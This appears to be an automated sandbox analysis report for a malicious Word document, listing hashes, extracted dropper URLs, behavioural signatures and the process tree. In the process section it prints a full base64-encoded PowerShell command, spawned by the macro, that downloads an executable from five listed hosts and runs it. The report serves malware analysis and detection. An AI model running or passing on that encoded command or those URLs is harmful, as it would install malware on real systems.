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Analysis

  • max time kernel
    121s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240215-en
  • resource tags

    arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
  • submitted
    28/05/2024, 23:44

General

  • Target

    7ecfbb57c47106ca51582ebcf44baa17_JaffaCakes118.doc

  • Size

    203KB

  • MD5

    7ecfbb57c47106ca51582ebcf44baa17

  • SHA1

    bf174c257bcd9a6142f7eafa7c2227b0088a935b

  • SHA256

    5f1d9dff136888c71d8b157e91821d73a94faa92af1bdc04912d223b7b1de32d

  • SHA512

    08777d2e1d44291283049217ce583f69b6f18b45de975a4a77c4218abfb77440eb8d10bf00b369b2b50e52d4326b67613868401cb03fc32b9895b9bdecefddb9

  • SSDEEP

    6144:ApHNaqjSzGdD48+aPOn0yCpWjwO1/ehPP9A:AzaeWGe8+qOn0fpWjwO1/ehPP9A

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://yeabeauty.top/0lgxkn/1x6-4c3-593/

exe.dropper

http://elarabia.designlandwebsolutions.online/wp-admin/cojve06f-0p5b4-4656/

exe.dropper

http://txblog.50cms.com/wp-admin/l0yg3j3l-pggp7p80-519/

exe.dropper

http://marahiyohiyo.com/wp-admin/xwTaSd/

exe.dropper

http://wqapp.50cms.com/addons/xrxUPWg/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7ecfbb57c47106ca51582ebcf44baa17_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2028
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2256
    • C:\Windows\System32\WindowsPowerShell\v1.0\PoWERsheLL.exe
      PoWERsheLL -e JABFAHcAZABmAHIAbwB1AGUAbgBpAD0AJwBUAGgAcQB4AG4AawBmAHUAJwA7ACQAQwB2AHgAYQBiAGUAYgBhAG8AdQBzAHMAYQAgAD0AIAAnADcAMwA5ACcAOwAkAFIAdQBxAHQAbwBuAGwAYwBjAHcAeABtAD0AJwBQAHQAaABpAHEAawBzAHgAZQBpAHMAeQAnADsAJABTAHQAYwBpAGQAdQBkAGwAaQByAGsAeAB2AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABDAHYAeABhAGIAZQBiAGEAbwB1AHMAcwBhACsAJwAuAGUAeABlACcAOwAkAEgAdgB2AHIAeABlAG0AbABiAD0AJwBRAGMAZgBiAGUAdgB1AGMAZAAnADsAJABSAGQAeQBwAHAAYgBvAGIAbQB5AD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAEUAVAAuAHcAZQBCAEMAbABJAEUATgBUADsAJABXAGUAagBpAHgAbQByAGMAaABtAGIAPQAnAGgAdAB0AHAAOgAvAC8AeQBlAGEAYgBlAGEAdQB0AHkALgB0AG8AcAAvADAAbABnAHgAawBuAC8AMQB4ADYALQA0AGMAMwAtADUAOQAzAC8AKgBoAHQAdABwADoALwAvAGUAbABhAHIAYQBiAGkAYQAuAGQAZQBzAGkAZwBuAGwAYQBuAGQAdwBlAGIAcwBvAGwAdQB0AGkAbwBuAHMALgBvAG4AbABpAG4AZQAvAHcAcAAtAGEAZABtAGkAbgAvAGMAbwBqAHYAZQAwADYAZgAtADAAcAA1AGIANAAtADQANgA1ADYALwAqAGgAdAB0AHAAOgAvAC8AdAB4AGIAbABvAGcALgA1ADAAYwBtAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGwAMAB5AGcAMwBqADMAbAAtAHAAZwBnAHAANwBwADgAMAAtADUAMQA5AC8AKgBoAHQAdABwADoALwAvAG0AYQByAGEAaABpAHkAbwBoAGkAeQBvAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB4AHcAVABhAFMAZAAvACoAaAB0AHQAcAA6AC8ALwB3AHEAYQBwAHAALgA1ADAAYwBtAHMALgBjAG8AbQAvAGEAZABkAG8AbgBzAC8AeAByAHgAVQBQAFcAZwAvACcALgAiAHMAcABsAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAWQBsAGMAdwB6AHQAcQBpAGIAcQBxAGcAPQAnAEEAZwBwAGoAaABlAHIAbABjACcAOwBmAG8AcgBlAGEAYwBoACgAJABVAGoAdwBiAHgAbwBmAHMAIABpAG4AIAAkAFcAZQBqAGkAeABtAHIAYwBoAG0AYgApAHsAdAByAHkAewAkAFIAZAB5AHAAcABiAG8AYgBtAHkALgAiAGQAbwB3AGAATgBMAG8AQQBEAEYASQBgAGwARQAiACgAJABVAGoAdwBiAHgAbwBmAHMALAAgACQAUwB0AGMAaQBkAHUAZABsAGkAcgBrAHgAdgApADsAJABNAHYAegBtAHgAdgB0AGgAcAA9ACcAUABhAGYAcwB2AHQAdABwAGEAdgAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAFMAdABjAGkAZAB1AGQAbABpAHIAawB4AHYAKQAuACIATABlAG4ARwBgAFQAaAAiACAALQBnAGUAIAAyADgANQA3ADkAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAYABSAEUAYQBgAFQARQAiACgAJABTAHQAYwBpAGQAdQBkAGwAaQByAGsAeAB2ACkAOwAkAFAAZgB0AHcAdAB6AG0AaQA9ACcATQB5AHEAdgBkAHUAdwB6AGYAawBxACcAOwBiAHIAZQBhAGsAOwAkAEQAbwBqAHkAcwBuAGEAbgBiAGIAdgA9ACcAQwB4AG4AcQBrAGIAbQBtAHMAdABlAHkAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARAB3AGcAagBuAHkAcQBwAGgAagBiAHUAPQAnAEEAawB4AHYAeQBsAHIAegAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2492

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      c77a1dc660683206f71bfd08f4fb9d96

      SHA1

      69cc167c6cf1e7a76789fc97951cbbc0346350bf

      SHA256

      5e75fa62b1ab850b464d6c5050f94e354d32738da257ac89db876ab150a6241c

      SHA512

      0ff1858ebc9ed25dd0232d7d74ce991fd5644beb3fa4f129eff064b92b23ff75b65d928b8e0155f63f426279ec193ee2e3389b0766fab79acc27309f749181e8

    • memory/2028-19-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2028-12-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2028-8-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2028-7-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2028-10-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2028-14-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2028-13-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2028-23-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2028-0-0x000000002FEE1000-0x000000002FEE2000-memory.dmp

      Filesize

      4KB

    • memory/2028-11-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2028-2-0x000000007157D000-0x0000000071588000-memory.dmp

      Filesize

      44KB

    • memory/2028-9-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2028-18-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2028-25-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2028-28-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2028-32-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2028-62-0x000000007157D000-0x0000000071588000-memory.dmp

      Filesize

      44KB

    • memory/2028-61-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2028-44-0x000000007157D000-0x0000000071588000-memory.dmp

      Filesize

      44KB

    • memory/2028-45-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2028-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2492-39-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

      Filesize

      32KB

    • memory/2492-38-0x000000001B7B0000-0x000000001BA92000-memory.dmp

      Filesize

      2.9MB